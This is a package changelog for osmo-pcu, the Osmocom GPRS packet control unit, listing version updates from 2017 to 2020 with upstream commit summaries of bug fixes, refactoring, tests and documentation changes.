+Wed Feb 05 21:04:19 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.39:
+ * csn1.cpp: Rework ProcessError() function to print errors
+
+-------------------------------------------------------------------
+Mon Feb 03 21:06:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.38:
+ * cosmetic: csn1.cpp: Fix whitespace
+ * gprs_bssgp_pcu: fixup: fix length check in gprs_bssgp_pcu_rx_dl_ud()
+
+-------------------------------------------------------------------
+Fri Jan 31 21:14:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.36:
+ * gprs_bssgp_pcu: fix invalid use of non-static data member 'frame'
+
+-------------------------------------------------------------------
+Wed Jan 29 21:02:42 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.35:
+ * tests/alloc: fix implicit conversion from 'double' to 'int8_t'
+ * encoding: fix log_alert_exit(): do not treat error as format string
+ * gsm_timer: fix comparison of constant LONG_MAX with an integer
+ * gsm_rlcmac: add dissection of NAS container
+ * gsm_rlcmac.cpp: fix an out of bounds access
+ * gsm_rlcmac.cpp: Do not skip too many lines of the CSN_DESCR when the field is missing
+ * gsm_rlcmac.cpp: hanged all M_BIT macros to M_UINT, as M_BIT does not use the referenced hf.
+ * gsm_rlcmac.cpp: Fix trailing whitespace
+ * gsm_rlcmac: Enhance dissection of PSI1
+ * gsm_rlcmac.h: Remove Uplink messages from the RlcMacDownlink_t structure
+ * gsm_rlcmac.h: Make sure we have a corresponding 'u' member to RlcMacDownlink_t for every call
+ * gsm_rlcmac.h: #if 0 unused stuff
+ * csn1: fix this statement may fall through [-Werror=implicit-fallthrough=] found by gcc7
+ * csn1: Drop format_p union from CSN_DESCR
+ * csn1: Try to fix cast discards '__attribute__((const))' qualifier from pointer target type
+ * csn1: Don't cast away constness
+ * csn1: Fix warning with -Wmissing-prototypes
+ * csn1: Fix an infinite loop in CSN.1 dissector when having more than 255 padding bits
+ * csn1: Fix pedantic compiler warnings in csn.1 dissectors
+ * csn1: Allow CHOICE elements to re-process the bits used for the choice
+ * csn1: Extend CSN_SERIALIZE to allow 0 bit of length
+ * csn1: shuffle decrements of remaining_bits_len
+ * csn1: packet-csn1.c:179: warning: 'pui8' may be used uninitialized in this function
+ * csn1: Update M_NULL CSN_DESCR to match wireshark
+ * tests/rlcmac: Add test to showcase that decode_gsm_ra_cap() fails
+
+-------------------------------------------------------------------
+Sat Jan 25 21:07:53 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.10:
+ * tests/rlcmac: Don't check stderr output
+ * tests/rlcmac: Use osmo_hexdump to print buffers
+ * tests/rlcmac: Fix missing commas with unexpected results
+ * tests/rlcmac: Memzero decoded struct
+
+-------------------------------------------------------------------
+Fri Jan 24 21:11:49 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.6:
+ * tests/rlcmac: print test name at the start
+
+-------------------------------------------------------------------
+Wed Jan 15 21:09:26 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.5:
+ * pcu_l1_if.cpp: fix NULL-pointer dereference in imsi2paging_group()
+
+-------------------------------------------------------------------
+Mon Jan 06 21:05:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.4:
+ * Support PAGING-CS and PAGING-PS on on PTP-BVCI
+ * Support Gb PAGING-CS
+ * Allow Gb PAGING-PS without P-TMSI
+ * Pass paging group instead of imsi where later is not needed
+
+-------------------------------------------------------------------
+Fri Jan 03 21:07:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.8.0.0:
+ * Bump version: 0.7.0.62-fbfa-dirty → 0.8.0
+
+-------------------------------------------------------------------
+Wed Jan 01 21:05:41 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.7.0.62:
+ * Split identity_lv param into mi+mi_len
+ * Log BVCI PTP value upon msg recv
+ * fix typo in log message
+
+-------------------------------------------------------------------
+Mon Dec 16 21:04:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.59:
+ * Fix trailing whitespace
+
+-------------------------------------------------------------------
+Tue Dec 10 21:07:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.58:
+ * prs_bssgp_pcu.cpp: Mark priv funcs as static and remove trailing whitespace
+
+-------------------------------------------------------------------
+Mon Dec 09 21:06:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.57:
+ * pcu_l1_if: Check pag_req id_lv len fits buffer
+
+-------------------------------------------------------------------
+Wed Dec 04 21:02:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.56:
+ * tbf_dl.cpp: Fix typo in log line
+
+-------------------------------------------------------------------
+Mon Dec 02 21:04:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.55:
+ * Remove dash from name used in VTY cmd prompt
+
+-------------------------------------------------------------------
+Sun Dec 01 21:04:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.54:
+ * manual: Add missing documentation for '-i' command line option
+ * manual: Fix documentation missing "-D" command line option
+ * manual: Fix copy+paste error
+
+-------------------------------------------------------------------
+Sat Nov 30 21:09:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.51:
+ * VTY: cosmetic: use osmo_talloc_replace_string()
+ * VTY: add warning about changing PCU socket path at run-time
+ * Clarify (M)CS related VTY attributes
+
+-------------------------------------------------------------------
+Thu Nov 28 21:13:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.48:
+ * doc: vty: Update osmo-pcu_vty_reference.xml
+
+-------------------------------------------------------------------
+Sat Nov 23 21:05:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.47:
+ * PTCCH: properly handle RACH.ind for PCU_IF_SAPI_PTCCH
+ * pcuif_proto.h: extend RACH.ind with TRX / TS numbers
+ * PTCCH: properly handle RTS.req for PCU_IF_SAPI_PTCCH
+ * PTCCH: implement basic message codec and API
+
+-------------------------------------------------------------------
+Sun Nov 10 21:04:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.43:
+ * gprs_bssgp_destroy(): fix memleak and NULL-pointer dereference
+
+-------------------------------------------------------------------
+Fri Nov 08 21:08:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.42:
+ * GprsMs::update_cs_ul(): clarify the meaning of old_link_qual
+ * tests/tbf: suspend warnings about the link quality measurements
+ * BSSGP: properly print BVCI for signalling messages (BVCI=0)
+ * BSSGP: do not reject SUSPEND ACK / NACK messages
+
+-------------------------------------------------------------------
+Mon Oct 21 20:02:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.38:
+ * Fix assertion hit upon CCCH Paging Request
+
+-------------------------------------------------------------------
+Thu Oct 10 20:02:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.37:
+ * encoding: fix space, tabs
+ * VTY: fix command 'show tbf all': properly filter TBFs
+ * VTY: refactor pcu_vty_show_ms_all(): use show_ms()
+
+-------------------------------------------------------------------
+Mon Oct 07 20:08:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.34:
+ * pcu_l1_if.cpp: Replace value 23 with libosmocore's GSM_MACBLOCK_LEN
+ * pcu_l1_if.cpp: Imm Assign PCH: clarify size of different items
+ * pcu_l1_if.cpp: Drop unneeded byte in Imm Ass PCH buffer
+ * pcu_l1_if.cpp: Fix GSMTAP Imm Assign PCH wrong encoding
+
+-------------------------------------------------------------------
+Fri Oct 04 20:02:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.30:
+ * Log AGCH and PCH blocks using GSMTAP
+ * Log RACH Requests using GSMTAP
+
+-------------------------------------------------------------------
+Fri Sep 27 20:03:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.28:
+ * vty: Fix osmo_tdef timers not listed in write config
+ * tbf_dl.cpp: Remove dup call to tbf_update_ms_class() in state GPRS_RLCMAC_WAIT_RELEASE
+ * tbf_dl: Setup m_llc_timer in constructor using osmocom API
+ * Move tbf_{dl,ul} child constructors to respective .cpp files
+
+-------------------------------------------------------------------
+Thu Sep 26 20:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.24:
+ * Move out tbf subclasses from tbf.h to their own headers
+ * cosmetic: fix whitespace
+ * pdch.cpp: Use pcu_l1_meas previously filled by lower layers
+ * pdch.cpp: Refactor bitvec param passing in rcv_control_block
+
+-------------------------------------------------------------------
+Thu Sep 19 20:15:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.20:
+ * configure.ac: set C and C++ dialects
+
+-------------------------------------------------------------------
+Wed Sep 18 20:06:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.19:
+ * tests/app_info: fix compiling with older g++
+
+-------------------------------------------------------------------
+Tue Sep 17 20:03:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.18:
+ * Use osmo_tdef to implement dl-tbf-idle-time
+ * Use osmo_tdef to implement ms-idle-time
+
+-------------------------------------------------------------------
+Mon Sep 16 20:04:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.16:
+ * tests: TbfTest: Unify stderr and stdout to ease debugging
+ * Use osmo_tdef to implement T3190
+ * Use osmo_tdef for BSSGP T1 and T2
+
+-------------------------------------------------------------------
+Sat Sep 14 20:01:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.13:
+ * Forward ETWS Primary Notification to MS
+
+-------------------------------------------------------------------
+Fri Sep 13 20:02:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.12:
+ * bts.cpp: Fix osmo_tdef initialization on older g++ compilers
+ * tbf_dl: add comments to the scheduler
+ * Introduce osmo_tdef infra and timer VTY commands
+ * tbf_dl: make preemptive retransmission optional
+ * doc: update generated VTY reference
+
+-------------------------------------------------------------------
+Fri Sep 06 20:02:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.7:
+ * Use proper API osmo_timer_setup() to set up timer struct
+ * cosmetic: tbf: Rename T and N arrays
+
+-------------------------------------------------------------------
+Tue Aug 27 20:04:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.5:
+ * osmobts_sock.cpp: do not print the same debug message twice
+ * osmobts_sock.cpp: pcu_sock_read(): further simplify the code
+ * osmobts_sock.cpp: pcu_sock_read(): use stack buffer, not heap
+ * osmobts_sock.cpp: pcu_sock_cb(): use libosmocore's socket API
+
+-------------------------------------------------------------------
+Mon Aug 12 20:09:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.1:
+ * tests: test encoding of egprs ul ack/nacks
+
+-------------------------------------------------------------------
+Thu Aug 08 21:56:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.7.0.0:
+ * Bump version: 0.6.0.88-3bcc → 0.7.0
+ * Require newer libosmocore to avoid compile failures
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+
+-------------------------------------------------------------------
+Thu Jul 25 20:31:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.86:
+ * gprs_bssgp_pcu_rx_dl_ud(): use OSMO_IMSI_BUF_SIZE
+ * gprs_bssgp_pcu.cpp: check return code of gsm48_mi_to_string()
+ * gprs_bssgp_pcu_rx_dl_ud(): fix: BSSGP_IE_IMSI is optional
+
+-------------------------------------------------------------------
+Wed Jul 24 20:21:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.83:
+ * ubsan: fix shift
+
+-------------------------------------------------------------------
+Sun Jul 21 20:04:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.82:
+ * bssgp: Fix dead code: PDUT_STATUS can never reach this part
+
+-------------------------------------------------------------------
+Wed Jul 17 19:06:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.81:
+ * fix spelling errors detected by lintian
+
+-------------------------------------------------------------------
+Tue Jul 16 20:04:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.80:
+ * Use libosmocore for IMSI parsing
+ * src/pcu_l1_if.cpp: fix: properly pass measurements from PCUIF
+
+-------------------------------------------------------------------
+Sun Jul 14 20:08:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.78:
+ * Encoding: ACK/NACK: always encode with length field present
+
+-------------------------------------------------------------------
+Thu Jul 11 20:14:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.77:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+ * Encoding: use uint16_t when interacting with the window object
+ * bts.cpp: ensure left-shift operation does not exceed uint32_t
+ * Encoding: write_packet_ack_nack_desc_egprs: don't use a reference for rest_bits
+
+-------------------------------------------------------------------
+Mon Jun 24 20:11:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.73:
+ * decompress_crbb: add length argument for search_runlen
+ * Encoding: drop struct gprs_rlcmac_bts* from all functions
+ * rlc: replace int with uint16_t
+ * Cosmetic: Osmcoom -> Osmocom
+
+-------------------------------------------------------------------
+Sat Jun 22 20:12:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.69:
+ * tests/BitcompTest: fix wording in log message
+
+-------------------------------------------------------------------
+Wed Jun 19 20:24:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.68:
+ * manuals: Update VTY documentation
+ * manuals: Add script to regenerate vty/counter documentation
+
+-------------------------------------------------------------------
+Tue Jun 18 20:10:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.66:
+ * egprs_rlc_compression: fix white spaces
+ * encoding: use `/* */` for comments instead of `#if 0 #endif`
+
+-------------------------------------------------------------------
+Fri Jun 14 20:11:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.64:
+ * encoding: correct encoding of CRBB in ACK/NACK when not byte aligned
+
+-------------------------------------------------------------------
+Thu Jun 13 20:10:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.63:
+ * gprs_bssgp_pcu: explicit allocate & initialize bssgp_nsi instance
+
+-------------------------------------------------------------------
+Fri May 31 20:02:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.62:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Sun May 26 20:02:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.61:
+ * gprs_bssgp_pcu: make gprs_bssgp_ns_cb public
+
+-------------------------------------------------------------------
+Thu Apr 11 20:02:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.60:
+ * Add test for MS mode and (M)CS settings
+
+-------------------------------------------------------------------
+Mon Apr 08 20:02:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.59:
+ * Fix help message formatting of osmo-pcu.
+ * cosmetic: use const pointer for bts_data
+ * Update MCS selection for retransmission
+ * vty: add commands to show TBF of a certain kind
+
+-------------------------------------------------------------------
+Thu Mar 28 21:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.55:
+ * TS alloc: expand tests log
+
+-------------------------------------------------------------------
+Wed Mar 27 21:03:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.54:
+ * jenkins.sh: Add oc2g build support
+ * oc2g: Change log type (Litecell15->Oc2g)
+ * oc2g: Remove custom alarms
+ * OC-2G: Always use positive TA information provided in PH-RA-IND
+ * OC-2G: Fix TA adjustment
+ * OC-2G: Fix missing header
+ * Initial commit for OC-2G support.
+ * Update IA Rest Octets encoding
+ * TBF-DL: cosmetic update for helper routines
+ * TBF: update MCS counters
+ * Use Timing Advance Index in UL assignments
+ * Rewrite Packet Uplink IA Rest Octets for SBA
+ * Rewrite Packet Uplink IA Rest Octets for MBA
+ * Fix Channel Coding Command for MCS
+ * MCS: add Channel Coding Command encoder
+ * gprs_debug: Use named initializers and explicit array indicies
+ * Forward GPRS SUSPEND REQ from BTS to SGSN using BSSGP
+ * pcu_l1_if: Fix erroneous endian-swapping of the CellID
+ * MCS: add mcs_is_*() helpers
+
+-------------------------------------------------------------------
+Tue Mar 26 21:02:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.35:
+ * Include pdch.h in bts.h even if we're not compiling C++
+
+-------------------------------------------------------------------
+Mon Mar 25 21:02:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.34:
+ * MCS: move Mode enum outside of class definition
+
+-------------------------------------------------------------------
+Thu Mar 21 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.33:
+ * Fix TA index encoder
+ * TBF-DL: log MCS as string
+ * MCS: use value_string for conversion
+ * MCS: move HeaderType enum outside of class definition
+
+-------------------------------------------------------------------
+Tue Mar 19 21:02:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.29:
+ * Explicitly clean up BTS singleton
+ * MS store: move test helper to unit test
+ * tests: use -no-install libtool flag to avoid ./lt-* scripts
+
+-------------------------------------------------------------------
+Thu Mar 14 21:02:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.26:
+ * Use unique NSEI/BVCI/NSVCI in TBF tests
+ * Debian: bump copyright year
+
+-------------------------------------------------------------------
+Wed Mar 13 21:12:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.24:
+ * MCS: remove unused function
+ * Make get_retx_mcs() into regular function
+ * MCS: move Coding Scheme enum outside of class definition
+
+-------------------------------------------------------------------
+Mon Mar 11 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.21:
+ * encoding: Fixes TMSI vs MI bit selection in repeated page info
+
+-------------------------------------------------------------------
+Thu Mar 07 21:02:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.20:
+ * Log (M)CS UL update errors
+ * Enable LGLOBAL logging for TBF tests
+
+-------------------------------------------------------------------
+Wed Mar 06 21:03:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.18:
+ * Tighten lqual table limits check
+ * Use msgb_eq_data_print() in tests
+
+-------------------------------------------------------------------
+Tue Mar 05 21:03:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.16:
+ * EDGE tests: remove no-op check
+
+-------------------------------------------------------------------
+Mon Mar 04 21:02:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.15:
+ * MCS: remove dead code
+
+-------------------------------------------------------------------
+Wed Feb 27 21:02:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.14:
+ * EDGE tests: reduce code duplication
+ * MCS: internalize 'family' parameter
+
+-------------------------------------------------------------------
+Tue Feb 26 21:02:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.12:
+ * Optionally Use the NS Sub-Network-Service (SNS) on Gb
+ * Rewrite EGPRS Packet Uplink IA Rest Octets for SBA
+ * Mark gprs_ns_reconnect() as static (not used outside of C file)
+ * Rewrite EGPRS Packet Uplink IA Rest Octets for MBA
+ * Rewrite Packet Downlink Assignment
+
+-------------------------------------------------------------------
+Sat Feb 23 21:02:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.7:
+ * Restructure IA Rest Octets encoders
+
+-------------------------------------------------------------------
+Thu Feb 21 21:02:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.6:
+ * Clarify write_immediate_assignment() signature
+ * Add encoding tests for Immediate Assignment
+ * Add define for dummy burst string
+ * Move C include to proper place
+
+-------------------------------------------------------------------
+Sun Feb 17 21:02:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.2:
+ * Don't install pcuif_proto.h header
+
+-------------------------------------------------------------------
+Wed Jan 30 21:01:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.1:
+ * Added support for daemonize to osmo-pcu.
+
+-------------------------------------------------------------------
+Mon Jan 21 21:02:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.6.0.0:
+ * Bump version: 0.5.1.38-5b52 → 0.6.0
+
+-------------------------------------------------------------------
+Thu Dec 06 21:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.38:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:02:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.37:
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.36:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Tue Nov 27 21:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.35:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * Change OpenBSC mentions to OsmoBSC where applicable
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoPCU: add rate counter documentation
+ * refactor Makefile build rules, don't use the FORCE
+ * Allow easily disabling GFDL references
+ * configuration: fixing typos
+ * fix 'make clean': shell glob, ignore failure
+ * add 'make check' target
+ * make clean: also remove generated image files
+ * fix various typos across all manuals
+ * gb/NS: Clarify the language regarding the UDP port numbers / socket
+ * consistently use '3GPP TS' not sometimes 3GPP TS and sometimes TS.
+ * gb: Some language improvements, formatting changes
+ * Gb: Various spelling fixes
+ * Gb message sequence chart: Add notion of PCU unix domain socket
+ * Gb message sequence chart: flip sides (SGSN should be right)
+ * OsmoPCU: add MSC chart
+ * OsmoPCU: expand BSSGP documentation
+ * OsmoPCU: expand NS documentation
+ * OsmoPCU: fix Gb documentation front page
+ * Initial place-holder for the new Gb/IP interface documentation
+ * Add link to Asciidoc source code of manual
+ * initial checkin of manuals to public repo
+
+-------------------------------------------------------------------
+Sun Nov 18 21:02:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.9:
+ * deb: add missing copyright file
+
+-------------------------------------------------------------------
+Sun Oct 21 17:24:52 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.8:
+ * gprs_rlcmac_received_lost(): Fix regression / uninitialized now_tv
+
+-------------------------------------------------------------------
+Wed Sep 26 20:02:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.7:
+ * check for overlong unix socket paths
+
+-------------------------------------------------------------------
+Thu Sep 13 20:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.6:
+ * Install osmo-pcu.cfg to docdir/examples
+ * Move examples/ to doc/examples/
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Mon Sep 10 20:02:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.3:
+ * configure.ac: Set CXXFLAGS during --enable-sanitize
+
+-------------------------------------------------------------------
+Fri Sep 07 20:02:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.2:
+ * Cleanup of systemd service files
+
+-------------------------------------------------------------------
+Mon Aug 06 20:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.1:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Sat Jul 28 20:02:00 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.1.0:
+ * Bump version: 0.5.0.11-218e-dirty → 0.5.1
+
+-------------------------------------------------------------------
+Thu Jul 12 20:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.11:
+ * tbf: Replace '.' in counter names with ':'
+ * tbf: Use incrementing id for rate_ctr_group_alloc
+
+-------------------------------------------------------------------
+Mon Jun 25 20:02:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.9:
+ * check bssgp_tlv_parse() return code in gprs_bssgp_pcu_rcvmsg()
+
+-------------------------------------------------------------------
+Thu Jun 21 20:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.8:
+ * jenkins.sh: use flag --enable-werror for sysmo and none
+
+-------------------------------------------------------------------
+Tue Jun 05 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.7:
+ * change log level of "DL packet loss" log messages
+
+-------------------------------------------------------------------
+Fri Jun 01 20:02:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.6:
+ * fix time-delta calculations for measurement reports
+
+-------------------------------------------------------------------
+Fri May 25 20:02:19 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.5:
+ * fix a one-byte stack buffer overrun in osmo-pcu
+ * read monotonic clock with clock_gettime() instead of gettimeofday()
+
+-------------------------------------------------------------------
+Thu May 17 20:03:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.3:
+ * tbf: Fix memset(0) on object with no trivial copy-assignment
+ * rlc: Fix memset(0) on object with no trivial copy-assignment
+
+-------------------------------------------------------------------
+Tue May 15 20:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.1:
+ * Don't register SIGHUP handler without actually handling SIGHUP
+
+-------------------------------------------------------------------
+Thu May 03 20:02:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.5.0.0:
+ * improve documentation of Encoding::write_paging_request()
+ * Bump version: 0.4.0.115-513c-dirty → 0.5.0
+
+-------------------------------------------------------------------
+Thu Apr 12 21:46:58 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.114:
+ * tbf: add frame number to log output
+
+-------------------------------------------------------------------
+Wed Apr 11 20:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.113:
+ * cosmetic: remove runaway semicolon
+ * pcu_l1_if: add frame number to log output
+
+-------------------------------------------------------------------
+Sat Apr 07 18:52:53 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.111:
+ * mslot_class: find_free_tfi(): use uint32_t to shift 1 << 31
+ * mslot_class: two more: use uint32_t to shift 1 << 31
+ * Revert "Use Timing Advance Index in UL assignments"
+ * Revert "Rewrite Packet Uplink Assignment"
+ * Revert "Rewrite Packet Downlink Assignment"
+ * configure: fix --enable-sysmocom-dsp and --with-sysmobts flags
+ * configure: properly quote CFLAGS in lc15 check
+ * Revert "Rewrite EGPRS Packet Uplink Assignment"
+ * use osmo_init_logging2() with proper talloc ctx
+
+-------------------------------------------------------------------
+Sat Mar 17 12:12:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.102:
+ * gprs_bssgp_pcu.cpp: Comment unused function parse_ra_cap
+
+-------------------------------------------------------------------
+Wed Mar 14 21:32:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.101:
+ * Move PDCH-related functions into separate files
+ * Simplify TS alloc: don't use PDCH for free TFI
+ * Simplify TS alloc: constify max dl slot func
+ * TBF: make network counters internal
+ * Simplify TS alloc: move slot assignment
+ * Simplify TS alloc: move slot check into functions
+ * pcuif_proto.h: fix whitespaces and indention
+ * pcuif_proto: add version 8 features
+ * implement support for 3-digit MNC with leading zeros
+ * configure: add --enable-werror
+
+-------------------------------------------------------------------
+Fri Feb 16 17:39:15 UTC 2018 - mardnh@gmx.de
+
+- Use use the systemd service file from contrib/
+
+-------------------------------------------------------------------
+Wed Feb 14 16:30:49 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.0.82
+
+-------------------------------------------------------------------
+Sat Feb 10 20:50:01 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Sat Feb 10 16:09:30 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.0.81
+
+-------------------------------------------------------------------
+Wed Jan 24 13:13:01 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 0.4.0.60
+
+-------------------------------------------------------------------
+Fri Dec 29 12:18:40 UTC 2017 - jengelh@inai.de
+
+- %service_* already takes care of restart/removal
+
+-------------------------------------------------------------------
+Wed Dec 27 21:19:47 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 0.4.0
+ * No changelog was provided
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Wed Mar 29 18:47:54 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1490567068.e6d26ec:
+ * tests: include headers from include/
+ * jenkins: add value_string termination check
+ * Update README file with general project info and use Markdown
+ * Support sending OML Alerts via BTS
+ * cosmetic: BitcompTest: make readable
+ * bitcomp test: fix: only one hexdump per log; use printf
+ * bitcomp test: fix: also verify bits after decoded data
+ * bitcomp test: use expected rc instead of 'verify' flag
+
+-------------------------------------------------------------------
+Mon Mar 13 11:33:07 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1489404314.5dd8d1b:
+ * logging: use central filter and ctx consts from libosmocore
+ * gprs_debug.h: remove unused cruft / cosmetic tweaks
+ * logging fixup: shorter names for LOGGING_FILTER_* and LOGGING_CTX_*
+ * BTS: Convert relative frame numbers to absolute frame numbers
+ * Add pkg-config file
+ * bts.cpp: Fix overloading ambiguity
+
+-------------------------------------------------------------------
+Wed Feb 15 09:20:45 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1487071257.b609190:
+ * Log socket path on connection
+ * Log additional info for radio errors
+ * Add compression support in EGPRS PUAN
+ * Add test case for testing PUAN
+ * Handle packet access reject during packet resource request
+ * BTS: accept also relative frame numbers with rach requst
+ * cosmetic: Fix log output
+ * Fix dozens of compiler warnings across the board
+ * tests: edge, tbf: assert return values
+ * main, tests: use msgb_talloc_ctx_init() (new)
+ * dl tbf: calculate CPS only for EGPRS
+ * dl tbf: initialize punct values and verify
+
+-------------------------------------------------------------------
+Fri Jan 06 20:32:09 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1483710844.b78a4a6:
+ * fix segfault: check for NULL tbf in sched_select_ctrl_msg()
+
+-------------------------------------------------------------------
+Fri Jan 06 12:27:57 UTC 2017 - mardnh@gmx.de
+
